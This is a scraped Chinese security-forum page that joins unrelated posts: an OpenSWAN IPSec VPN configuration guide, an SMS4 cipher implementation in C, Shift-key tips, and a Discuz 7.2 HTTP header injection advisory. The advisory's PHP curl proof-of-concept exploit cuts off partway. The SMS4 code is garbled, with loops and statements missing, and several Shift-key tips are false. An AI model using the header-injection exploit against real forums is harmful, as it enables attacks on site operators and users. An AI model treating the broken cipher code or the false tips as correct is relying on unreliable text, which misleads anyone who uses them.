返回列表 发帖

非安全中国祝大家元旦佳节愉快!

* z4 M" E2 b. Z8 T5 k% k; S非安全中国网祝所有关注和一直支持我们的朋友元旦佳节愉快,感谢大家长期以来对我们的支持和帮助,我们的进步离不开你们鼓励,欢迎提出建议与意见!/ b; l* {/ y1 M- P; u! F. Y* r
特此:我们决定佳节之际开放论坛一天,新注册用户请注意遵守相关论坛规定2 E# q3 m2 W3 R$ b& |
{:3_64:}非安全中国有你更精彩,我们进步离不开你的建议和批评。{:3_65:}
; r& e" P* R  c7 |; E8 q7 T外部联系邮箱:contact@sitedirsec.com 3 Z8 E7 S- I: n2 ^9 c3 {
核心申请邮箱:reg@sitedirsec.com. K6 {- a8 x7 O4 d, {+ `! T( G
文稿投递邮箱:post@sitedirsec.com
# F2 Q  ^! U3 E4 C' a% U9 O, a* F官方网站:http://www.sitedirsec.com非安全中国网

 

您可能还想看的主题:

非安全中国网10周年T恤申请及相关事宜补充说明

非安全中国网10周年T恤申请及相关事宜通告

庆祝非安全中国网创办10周年纪念活动 t恤设计进度

好基友的一次完美信息追踪!

我的一份作业,基于BT平台的利用。初级教程。以前那个连接失效了。从新发下。

dz x3后台拿shell+webshell隐藏

基于各种原因,非安全中国网正进行秘密计划敬请期待

非安全5周年纪念 团队T恤出炉

是否支持非安全中国网5周年定制纪念T恤?

恭祝非安全中国网全体朋友龙年大吉!

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:pow78781发表,本帖发表者pow78781符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者pow78781和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

呵呵,如果我也能像话裳这样利害就好了,最佩服她了。 2 J$ [3 w. m1 w

" v9 T6 H. ~; S3 v5 I4 B' o" x0 Y, |, d+ L" D) o6 A; [

: F0 h% x$ V$ m, z" r# G% i: n/ W) {) j/ Q3 }' d. P9 N- @1 a

* w$ e- f: Y) H+ s) \
( r9 A6 E2 U3 m% W1 R( [  i% s1 F# L5 G
& J$ R) N* ~  ]! v; N, R

+ }& b- F" O' D  g! }) n5 o! ?+ J( @2 l; D

, m5 y7 u  y* d* E  W0 o$ r! k5 y# N* N: }% n4 \1 y

0 l* y7 A' m; k: k& l" p- ?2 c3 W+ y" Q* T8 X( {

# g! h/ p5 n6 T+ K/ u& [/ @1 l% A! B( @

* S. G& C3 I5 r# Z9 q: z8 O& k+ U  P; ~* S( P3 P+ _
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

用OpenSWAN做Linux下的IPSec VPN的详细配置指南
用Openswan组建Linux IPSec    by toorq1.概述2.安装Openswan3.认证和配置    3.1 RSAsig认证方式的配置    3.2 x.509证书认证的配置    3.3 RoadWarrior模式的配置5.Windows客户端的配置*****1.概述    LInux上的VPN支持主要有三种:        1)IPSec 's VPN 其主要代表有 FreeS/WAN、KAME    IPSec在Linux上支持主要有两个主要的分类,一为FreeS/WAN,现在已经停止开发,其分裂为两个项目,Openswan与 Strongswan。其可以用自身的IPsec内核堆栈(Kernel stack),称为KLIPS,也可以用2.6内核中的堆栈代码(下面我们称其为26sec),可以说是非常的灵活。还有就是来自BSD世界的KAME。 KAME只能用内核堆栈。    IPSec差不多是最老的VPN标准了,她的依然很安全,当然是在配置好以后。言下之意,她的配置比较麻烦。本文下面将做说明。    2)SSL-Based VPN 其主要代表有 OpenVPN    SSL只要跑在应用层,所以理所当然的配置简单,只要机子能跑TCP或UDP就行,也可以穿过大多的防火墙。    3)PPTP-Based VPN 有(PoPTop)    PoPTop可以说是PPTP在Linux下的实现。不过,IPSec上跑L2TP更安全。2.安装Openswan        因为FreeS/WAN已经在2004年三月停止开发,所以我们使用她的后继项目Openswan来做我们的IPSec实验。其相比FreeS/WAN有个好处,如果使用 26sec 的时候,Openswan不用打补丁,就可以用nat。    因为IPSec工作在网络层,所以需要系统内核态的支持,上面说过,有两个选择,用自带(26sec)的或用Openswan(KLIPS)的,为了方便(如何打补丁和编译内核不是本文讨论的重点),本文使用2.6自带的实现代码。同时本文使用Debian Sarge作为实验系统,在Debian上安装。    #apt-get install openswan    如果你想从源码安装,到http://www.openswan.org/code下载软件包,然后按照包中的说明安装。由于我们使用26sec,所以只要make programs;make install就可以搞定。值得注意的是,现在的Openswan已经内建些个好用的补丁,比如x.509和NAT Traversal的支持,使用起来非常的方便。    你也可以用    #ipsec verify来检验你的安装3.认证和配置3.1 RSA Signature(RSA数字签名)认证的配制    Openswan支持许多不同的认证方式,包括RSA keys、pre-shared keys或x.509证书方式。RSA Signature比较简单,我先介绍下所要使用的命令    生成一个新的RSA密钥对    #ipsec newhostkey  --output /etc/ipsec.secert    按left或right格式生成RSA Sig    #ipsec showhostkey --left(或--right)    知道了上面的命令,我们就可以配置一个net-to-net,就是网关对网关的通讯。所在的Linux主机为通讯的网关,作为其子网的出口,对于子网的用户来所是透明的,远程的子网在通讯后可以像自己的局域网一样的访问。        本文使用VMWare架设起一个四台虚拟Linux主机来进行试验。因为要在不同的机子上进行配置,所以请读者认清主机名。    192.168.183.44(子网客户机,计算机名RA)    <->    192.168.49.2(Left网关主机,计算机名melin,同时eth1配置为192.168.183.1)    <->    192.168.49.3(Right网关主机,计算机名right,同时eth1配置为192.168.233.1)    <->    192.168.233.44(子网客户机,计算机名RB)    两个网关主机当然要安装好Openswan。同时用iptabels配置好NAT伪装。    然后我们运行下面的命令    //melin        #ipsec newhostkey --output /etc/ipsec.secert    #ipsec showhostkey --right >> /etc/ipsec.conf    #vi /etc/ipsec.conf //编辑ipsec.conf配置文件    #scp /etc/ipsec.conf root@right_GW_ipaddress:/etc/ipsec.conf //把ipsec.conf拷贝到right网关,目的是为了让right的到left的rsasig。    //right    #ipsec newhostkey  --output /etc/ipsec.secert    #ipsec showhostkey   --right >> /etc/ipsec.conf    #vi /etc/ipsec.conf    #scp /etc/ipsec.conf  root@left_GW_ipadress:/etc/ipsec.conf    然后分别从前启动ipsec服务    #ipsec setup restart //这个因为你的系统不同点不同    这里的编辑ipsec.conf应该为(配置文件中的#为注释,和shell中不同)    version    2.0config setup    interfaces=%defaultroute    nat_traversal=yes    conn %default    authby=rsasig    compress=yes#关掉 Opportunistic Encryptioninclude /etc/ipsec.d/examples/no_oe.confconn    net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftid=@melin    leftnexthop=%defaultroute    right=192.168.49.3    rightsubnet=192.168.233.0/24    rightid=@right    rightnexthop=%defaultroute    # RSA 2192 bits   melin   Mon May 29 03:42:49 2006    leftrsasigkey=0sAQ...(leftrsasigkey值,省略)    # RSA 2192 bits   right   Wed May 31 22:11:59 2006    rightrsasigkey=0sAQ...    auto=add然后在任意一方网关主机运行    ipsec auto --up net-to-net,这个时候,两个客户机之间应该可以互相ping的通,就像在一个内网一样。        比如在RA上可以    $ping 192.168.233.44        在ping的过程中,在任意一个网关上用tcpdump嗅探    #tcpdump -i eth0        可以看到这样的包    IP 192.168.233.44 > 192.168.183.44:icmp 64:echo request seq 10    IP 192.168.49.2 > 192.168.49.3: ESP(spi=0xeb73b78b,sed=0xa)    IP 192.168.49.3 > 192.168.49.2: ESP(spi=0x1601e0bd,sed=0xb)    可以看到两个网关已经用ESP在通讯,说明成功。    值得注意的是,如果网关主机开了iptables来做IP伪装(MASQUERADE)或NAT,需要竞争两个子网地址的转发,比如在我们例子中的Left主机上原来有    #echo 1 > /proc/sys/net/ipv4/ip_forward    #iptables -t nat -A POSTROUTING -o eth0 -s 192.168.183.0/24 -j MASQERADE    把改为    #iptables -t nat -A POSTROUTING -o eth0 -s 192.168.183.0/24 -d ! 192.168.233.0/24 -j MASQERADE    即不转发目标地址为Right主机下的子网。    另外,这一行    include /etc/ipsec.d/examples/no_oe.conf意为关闭Opportunistic Encryption在你不知道她到底做了什么之前,还是关掉她为好,打开no_oe.conf文件,发现其内容如下,我们将在本文的第五部分讨论这个话题。conn blockauto=ignoreconn privateauto=ignoreconn private-or-clearauto=ignoreconn clear-or-privateauto=ignoreconn clearauto=ignoreconn packetdefaultauto=ignore3.2 x.509证书认证的配置    x.509证书方式当然更灵活,要是VPN的客户比较多,总不能,每个都记住长长的rsasig吧。使用x.509证书认证,我们首先需要装上openssl(现在的Linux基本自带,没有的www.openssl.org下一个装上)。    1)然后,找到openssl.cnf文件,这个文件保存着对openssl证书生成的默认值,她的位置一般为:    Debian: /etc/ssl/openssl.cnf    RedHat 7.x+: /usr/share/ssl/openssl.cnf    用编辑器打开,变量名目繁多,比较有用的有    "default_days",证书失效的天数,默认一般为365天,改为3650,这样十年才过期:)。    "default_bits",密钥长度,默认为1024,你可以改为2048,更安全,当然速度也更慢……    "req_distinguished_name",默认的信息设置,如果你和我一样闲每次去生成密钥的时候去填的麻烦,就改之。    2)建一个目录来放你的CA,我们这里用/root/ca,记的把他的权限设置为700,你不希望其他用户可以看到你的私钥吧。    3)找到"CA.sh"脚本的位置,在不同系统上稍有不同    Debian: /usr/lib/ssl/misc/CA.sh    RedHat 7.x+: /usr/share/ssl/misc/CA    编辑她,把DAYS="-days 365"的365改成你希望的数值,注意要比openssl.cnf中的"default_days"要大,当时也不要太大,一般为15年到20年就好了。    4)生成证书    ~/ca$/usr/lib/ssl/misc/CA.sh -newca ;生成一个待签名的根证书,用她来给其他证书进行签名认证。默认生成在demoCA目录下的cacert.pem文件(在openssl.cnf中的 CA_default子段设置)下。输入的密码为用来生成其他证书的密码。-sign的时候用。    ~/ca$openssl ca -gencrl -out crl.pem 生成一个与根证书相对应的crl文件    然后开始生成给主机用的证书    ~/ca$/usr/lib/ssl/misc/CA.sh -newreq 生成待签名认证的证书,默认名字为newreq.pem,输入的密码用在填些/etc/ipsec.secrets中。    ~/ca$/usr/lib/ssl/misc/CA.sh -sign 对证书进行签名认证,默认名字为newcert.pem    ~/ca$/usr/lib/ssl/misc/CA.sh -verify 认证一下    然后重命名文件    ~ca$mv newcert.pem melin.pem    ~ca$mv newreq.pem melin.key //别搞反了,小的那个文件是key:),另外如果要生成的主机证书,填入的信息相同可能出错    用同样的方法生成right.pem和right.key文件。这样我们就有了同样的根证书生成的两个证书文件。    把文件拷贝到相应的位置:    在Left主机主机上    melin:~/ca#cp melin.key /etc/ipsec.d/private    melin:~/ca#cp melin.pem /etc/ipsec.d/certs    melin:~/ca#cp demoCA/cacert.pem /etc/ipsec.d/cacerts    melin:~/ca#cp crl.pem /etc/ipsec.d/crls/crl.pem    用安全的渠道(scp或软盘,别用ftp)把一下文件拷贝到right上    melin.pem    right.key    right.pem    demoCA/cacert.pem    crl.pem    也拷贝到正确的地方    melin#cp right.key /etc/ipsec.d/private    melin#cp right.pem /etc/ipsec.d/certs    melin#cp melin.pem /etc/ipsec.d/certs    melin#cp crl.pem /etc/ipsec.d/crls    melin#cp cacert.pem /etc/ipsec.d/cacerts/cacert.pem        5) 配置ipsec    首先是/etc/ipsec.secrets加上    : RSA /etc/ipsec.d/private/right.key "password"    password就是生成主机密钥的时候输入的密码    这里有几个密码要搞清楚,在生成根证书的时候输入密码是用来生成其他证书的,CA.sh -sign的时候要填入,ipsec.secrets填入的密码是CA.sh -newreq时候输入的密码。    然后当然就是/etc/ipsec.conf在本例子中的ipsec.conf分别为#Left(melin)version 2.0config setup    interfaces=%defaultroute    nat_traversal=yesconn %default    authby=rsasig    compress=yes    leftrsasigkey=%cert    rightrsasigkey=%cert    keyingtries=1    disablearrivalcheck=noinclude /etc/ipsec.d/examples/no_oe.confconn net-to-net    left=%defaultroute    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=%any    rightsubnet=192.168.233.0/24    pfs=yes    auto=add#Right(right)version 2.0config setup    interfaces=%defaultroute    nat_traversal=yesconn %default    authby=rsasig    compress=yes    leftrsasigkey=%cert    rightrsasigkey=%cert    keyingtries=1    disablearrivalcheck=noinclude /etc/ipsec.d/examples/no_oe.confconn net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=%defaultroute    rightsubnet=192.168.233.0/24    rightcert=right.pem    pfs=yes    auto=add    然后分别重新启动IPSec服务    #ipsec setup restart    在right上启动连接    #ipsec auto --up net-to-net        如果一切正确,两个子网之间就可以互相通讯了。3)RoadWarrior模式的配置    上面我们做的是网关对网关的配置,我们在应用中还有一种情况,员工带着比较本出差或在家,需要用IPSec连接到公司的网络。这个就是RoadWarrior模式。    我们回到1)中RSA Keys配置的例子,在两台主机上添加这样的配置字段#RoadWarrior,Road的机子,比如到处带着跑的笔记本,我们这里用rightconn road    left=192.168.49.3 #如果是动态ip地址,可以填上%defaultroute    leftnexthop=%defaultroute    leftid=@melin    leftrsasigkey=0sAQ... #本机的RSA Key    right=192.168.49.2    rightsubnet=192.168.183.0/24    rightid=@right    rightrsasigkey=0sAQO... #远程机子的RSA Key    auto=add                      #############################Host 主机,我们这里用melinconn road    left=192.168.49.2    leftid=@melin    leftsubnet=192.168.183.0/24    leftrsasigkey=0sAQ...    rightnexthop=%defaultroute    right=%any #不知道要传入的连接,所以用%any    rightid=@right    rightrsasigkey=0sAQ...    auto=add可以看出,RoadWarrior模式和Net-to-Net模式配置的区别,关键就是在于net-to-net模式Left和Right是相同的,通讯的主机处于固定的位置上,而RoadWarrior配置,Left就是自己(Local),Right就是远程主机(Remote)。所以看上去,两个的 Left和Right值是相反的。这个是配置的关键。然后在RoadWarrior的主机上运行    ipsec auto --up road更改配置文件后记的要#ipsec setup restart重启Openswan Pluto。接着就可以在right主机上ping到melin下的内网了    right$ping 192.168.183.44同样的可以在melin上    melin#tcpdump -i eth0看到ESP包的交换下面我们回到使用证书的net-to-net例子细心的读者可以发现,在证书的例子配置中,melin主机的right字段是用的是%any,整个配置类似于RoadWarrior的配置,可是又不同,实际上,这个仍然是net-to-net的配置。也可以把配置写成这样。#Left(melin)conn net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=192.168.49.3    rightsubnet=192.168.233.0/24    pfs=yes    auto=add#Right(right)conn net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    letcert=melin.pem    right=192.168.49.3    rightcert=right.pem    pfs=yes    auto=add不过,如果是这样的net-to-net的配置,就需要把right.pem也拷贝到melin主机的/etc/ipsec.d/certs目录下。可以看出来,ipsec.conf的配置是非常灵活的。下面我们给出使用RoadWarrior和使用证书的配置#RoadWarrior(right)conn road    left=192.168.49.3(如果为动态ip,用%defaultroute)    leftcert=right.pem    right=192.168.49.2    rightsubnet=192.168.183.0/24    rightcert=melin.pem    pfs=yes    auto=add#Host(melin)conn road    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=%any    pfs=yes    auto=add使用上面的配制后会发现一个问题,在right主机上    right#ping 192.168.183.44    right#ping 192.168.183.1    是加密通讯    可是    right#ping 192.168.49.2(如果是在Internet,这个为主机在Internet上的ip)    却是明文通讯,实际上,我们上面的RoadWarrior配置是让RoadWarrior主机和网关做在的局外通讯,如果要加密和网关的通讯,可以这么写#RoadWarrior(right)conn road-net    rightsubnet=192.168.183.0/24    also=roadconn road    left=192.168.49.3(如果为动态ip,用%defaultroute)    leftcert=right.pem    right=192.168.49.2    rightcert=melin.pem    pfs=yes    auto=add#Host(melin)conn road-net    leftsubnet=192.168.183.0/24    also=roadconn road    left=192.168.49.2    leftcert=melin.pem    right=%any    pfs=yes    auto=add在right上分别启动right#ipsec auto --up roadright#ipsec auto --up road-net另外可以用ipsec auto status查看连接的状态。如果想让连接在开机就启动,可以把auto字段改为start。5.Windows客户端的配置    让windows客户端可以连接上Linux的IPSec网关是很有用的,毕竟桌面还是Windows比较的多。    1)当然是让Openswan的主机运行正常运行起来,我们这里使用,上文最接近的那个road和road-net配置。同时要注意Windows的IPSec服务已经运行。    2)生成证书        生成新的主机密钥对win.pem和win.key,然后,我们需要把她转化成Windows可以识别的p12格式:~/ca$ openssl pkcs12 -export -in win.pem -inkey win.key -certfile demoCA/cacert.pem -out win.p12获得根证书的信息,记下来,下面要用到subject= /C=CN/ST=Fujian/L=Xiamen/O=Jimei University/OU=Chengyi College/CN=jianqiu/emailAddress=jianqiu414@stu.jmu.edu.cn    3)所需工具http://vpn.ebootis.de/package.zip下载Marcus Müller的ipsec.exe工具,解压到一个目录中,本例使用d:ipsec~/ca$ openssl x509 -in demoCA/cacert.pem -noout -subject得到如下的信息        4)创建需要的控制台    运行mmc->添加删除管理单元->添加->IP安全策略管理->选择本地计算机->完成;    添加删除管理单元->添加->证书->计算机账户->本地计算机->完成。    5)添加证书    在刚才我们新建的工作台的证书上,选择个人->所以任务->导入,然后把win.p12导入即可。    6)安装IPSec工具    首先需要安装ipsecpol.exe(Windows 2000)或ipseccmd.exe(Windows XP,在Windows安装光盘的UPPORTTOOLS目录下,setup选择完全安装),在http://support.microsoft.com/default.aspx?scid=kb;en-us;838079还有一片关于XP SP2的这些个附加工具的说明。    随后编辑d:ipsecipsec.conf文件,把我们上面得到的证书的信息填入rightca,也可以用mmc的证书页面查看,编辑好的ipsec.conf看起来是这个样子的。conn roadwarrior    left=%any    right=192.168.49.2    rightca="C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Chengyi College,CN=jianqiu,E=jianqiu414@stu.jmu.edu.cn"    network=auto    auto=start    pfs=yesconn roadwarrior-net    left=%any    right=192.168.49.2    rightsubnet=192.168.183.0/44    rightca="C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Chengyi College,CN=jianqiu,E=jianqiu414@stu.jmu.edu.cn"    network=auto    auto=start    pfs=yes如果,你想要加密所有和192.168.49.2的连接conn roadwarrior-all    left=%any    right=192.168.49.2    rightsubnet=*    rightca="C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Chengyi College,CN=jianqiu,E=jianqiu414@stu.jmu.edu.cn"    network=auto    auto=start    pfs=yes注意rightca不要写错,可以通过我们刚才的控制台,依次打开,“IP安全策略,在本地计算机”->FreeSwan-> “roadwarrior-Host filter list”->“身份验证方法”->“使用由此证书颁发机构(CA)颁发的证书”里的字段。然后到d:        ools目录下,运行ipsecIPSec Version 2.2.0 (c) 2001-2003 Marcus MuellerGetting running Config ...Microsoft's Windows XP identifiedUsage: Ipsec [-off] [-delete] [-debug] [-nosleep]D:Toolsipsec>ipsecIPSec Version 2.2.0 (c) 2001-2003 Marcus MuellerGetting running Config ...Microsoft's Windows XP identifiedSetting up IPSec ...        Deactivating old policy...        Removing old policy...Connection roadwarrior:        MyTunnel     : 192.168.49.1        MyNet        : 192.168.49.1/255.255.255.255        PartnerTunnel: 192.168.49.2        PartnerNet   : 192.168.49.2/255.255.255.255        CA (ID)      : C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Cheng...        PFS          : y        Auto         : start        Auth.Mode    : MD5        Rekeying     : 3600S/50000K        Activating policy...Connection roadwarrior-net:        MyTunnel     : 192.168.49.1        MyNet        : 192.168.49.1/255.255.255.255        PartnerTunnel: 192.168.49.2        PartnerNet   : 192.168.183.0/255.255.255.0        CA (ID)      : C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Cheng...        PFS          : y        Auto         : start        Auth.Mode    : MD5        Rekeying     : 3600S/50000K        Activating policy...d:ipsec>ping 192.168.49.2看到Negotiating IP Security.后有回复,说明连接成功。如果ipsec工具在你的系统上运行有问题,请确认你的rightca有没有填错。也可以尝试到sourceforge.net下载Linsys IPSec Tool项目的lsipsectool.exe。另外,如果系统是Windows XP SP2,还要注意NAT-T的问题。具体Windows运行IPsec客户端的注意事项可以查阅http://wiki.openswan.org/index.php/Win2K。 9 c1 `! E% X4 z& {+ ^7 h
7 }7 X& g& o/ @' d! Z

# l# @$ S9 Q+ D- P( o
% Y; r3 p* {% j' f. z6 C1 y& r& w
) F. p. b0 _0 b2 j5 T$ ^+ A# r3 J  D; C
4 r9 ~) G0 F9 k/ V
/ h! {, {" j. K$ a, Q% `( w) X

  p. d- p) u0 d# a8 T4 ~# j- y- J. b
% I; o. }. ^+ E) j' q+ L

2 ]6 P" a. L2 u& ~
2 H- ]7 i! p1 o
; i# @; T# y* j$ l" R2 Z9 q
  c& b3 g% n, ]5 R+ ]: [) a- g4 l& w" }- \  Q' e- L, j
+ x# v' D$ v- A  g  _
* \5 J+ R$ p: v* P  [* F
. O" X" m4 ^% U5 x4 b
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

SMS4算法的一个实现
本人一直关注WAPI标准.对SMS4算法进行研究,并写了一个算法的实现,能够进行SMS4加密.供有兴趣者参考.本人一直关注WAPI标准.对SMS4算法进行研究,并写了一个算法的实现,能够进行SMS4加密.供有兴趣者参考./**This program is about the sms4 algorithm.*Author:Super Peng *Email:comboy758@163.com*Date:2006-3-31*Addr:Institute of plasma physics of Chinese academy of science**Note: This program is just for self-interest of Encryption technology not for commercial fields.*Any question can be sent to my email.*/#include /*S-Box Table*/unsigned char SBOX[16][16] = {{0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05},{0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99},{0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62},{0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6},{0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8},{0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35},{0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87},{0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e},{0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1},{0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3},{0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f},{0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51},{0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8},{0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0},{0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84},{0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48}};/*System constant value table*/unsigned int FK[4] = {0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc};/*Constant value table*/unsigned int CK[32] ={0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279};/*Text*/unsigned char chNumber[16] = {0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};/*Encryption key*/int MK[4]={0x01234567,0x89abcdef,0xfedcba98,0x76543210};/**Left shift iBits of the integer.*/int RotaryLeftShift(unsigned int uiNumber, int iBits){int i;int iResult;iResult = 0;for(i = 0; i 0; i--){chNumbers[i-1] =(unsigned char)(iMask &amp; iA);iA >>= 8;}return chNumbers;}/**Get the S-Box value by checking up the constant table.*/unsigned int SBoxChar(unsigned char A[]){unsigned char chHighMask = 0xf0;unsigned char chLowMask = 0x0f;unsigned int iResult;iResult = 0;int i;int iX,iY;for(i = 0; i >= 4;iY = A &amp; chLowMask;iResult >= 8;}// for(i = 0; i 31; i--){printf("%08X",i,iXA);}for(i = 1; i 31; i--){printf("%08X",i,iXA);}return 0;}
6 @! M. A! f$ \: H% D1 Y0 F) R" Q3 a" U. b! [- X

/ ~1 f  n+ h. t( A" \4 A9 e+ ?: C' K5 h

2 \( L  K3 D) q' M- p( U0 [6 d6 |6 y: s5 N; V- l" U, y% A
8 ?+ s5 ^3 V( h0 X
8 n/ ^) e- ^* q4 g0 ~2 z
7 P! e% h0 d" G- r8 m+ w

5 Q6 d  V; O0 X9 @6 A* G
9 S: m! p6 i' T% r% P+ X- z4 W9 R4 {+ o
5 U- I8 z5 O' i. t% L5 |9 \
( {9 L" P* N. n: _* A+ _0 l

# ]# U! |( K$ K. \9 k; E: V
" \0 X6 w$ Y# X2 ~! L* @: ~" r8 o
! y! ^* d4 ~; C% _
: V, X( V1 O# P  n0 Q: j! @, r
1 X; R( a" F- i6 `2 N5 A0 @- E公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

shift键使用技巧
一 当你用QQ和别人聊天时,是不是有时信息发送的特别慢呀,不要紧,只要你发信息时按shift 键信息就会很快的发送出去的!

1 u& H" f1 r. t* Q3 j/ g
二 当你面对一大堆窗口,却要一个一个把它们关掉时。是不是很烦啊。只要你按shift 键在单击关闭按扭,所以的窗口就会全部关掉。
% c7 T9 _) B2 j* }1 T
三 在输入大小写字母时,按shift 键,就可以改变其大小写!
3 H/ r* N; D# ^: G2 R5 b# c+ q8 A3 ^
四 当安装了某个新软件,有时要从新启动计算机才有用,只要先按shift 键,就可以跳过计算机的自检节省了大量的时间!

7 C' W8 K) r% A
五 选择文件时,先按shift 键,在选最后一个文件,可以选中一大批。

1 B3 b2 {% q0 L( ~6 o- Q$ b
六 删除文件时,按shift 键可以直接删除。不经过回收站。

: m+ ?. Y6 _2 u  k# K2 c
七 放光碟时,连按数下shift 键,可以跳过自动播放!

. w. z, S5 S& J5 X3 K1 `- Y
八 按shift 键+F10可以代替鼠标右键。

0 V+ A, f% t& k/ n& E/ F
九 打开文件时,如果你不想用默认方式打开,按shift 键,在单击右键,在右边的菜单上就多出了打开方式下面的你就自己去做吧!
; m1 y1 P( G' A+ u
. t5 E2 L2 ^& k! T( V( h

9 G) ?, P6 D! p+ A# B! Q( j8 `: F' H7 P* }# Z6 U) R  M2 C

# t; q# d' T6 l/ x7 l4 q9 p- S
" k! e3 t" Q6 L2 G, ]4 V( C- V: Z) Y7 _0 R0 _/ S2 @) n
! s7 _8 C" G8 H/ |7 G

2 R/ l: c* Q3 C0 [/ `* P, {7 ^5 c# c. N" x) g' |
% V8 ^# S' R- l
1 R: {  n* m0 L( `8 [3 L9 k
' x! X/ N$ E" {. ~2 w8 z, C

: \, z) v/ i* K/ P. q
4 u$ C5 b3 r% I, O" Q4 K
# b$ l" U: \4 G" z: l5 c) y, ~/ ]
/ O1 \8 t8 r: s+ @: B# ~9 s* W" X/ G2 l2 {! W4 s$ P  R( p
9 _$ A& Q' {; g/ d+ v
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

dz7.2 HTTP 头注入漏洞
dz7.2 HTTP 头注入漏洞 20107/7/,dz7.2 header injection vulnerability 20107/7/。 image.php:header  header(location: .$boardurl.$thumbfile); $boardurl = htmlspecialchars(http://.$_SERVER[HTTP_HOST].preg_replace(//+(api|archiver|wap)?/*$/i  substr($PHP_SELF 0 strrpos($PHP_SELF /)))./); $PHP_SELF = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME]; $PHP_SELF = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME]; $PHP_SELF = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME]; $thumbfile = forumdata/imagecaches/.$aid._.$w._.$h..jpg; $aid = intval($_GET[aid]); $w = intval($w); list($w $h) = explode(x $_GET[size]); $h = intval($h); list($w $h) = explode(x $_GET[size]);requires:if(!$nocache) { if(file_exists($thumbfile)) {POC:#!/usr/bin/php -f  <?php  #  # image.php curl exploit  # bincker/2010/7/7/ t00ls.net      general settings:  URL:    COOKIEJAR:    Max Exec Time:  (s)   SSL:  BasicAuth:    $_SERVER parameter:   You can taint $_SERVER[PHP_SELF] by editing the target URL.           //   // HTTP SERVER    //     $target = $argv[1];    $ch = curl_init();  curl_setopt($ch CURLOPT_RETURNTRANSFER1);  curl_setopt($ch CURLOPT_URL http://$target/image.php);  curl_setopt($ch CURLOPT_USERAGENT Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0));  curl_setopt($ch CURLOPT_TIMEOUT 3);  curl_setopt($ch CURLOPT_LOW_SPEED_LIMIT 3);  curl_setopt($ch CURLOPT_LOW_SPEED_TIME 3);  curl_setopt($ch CURLOPT_COOKIEJAR 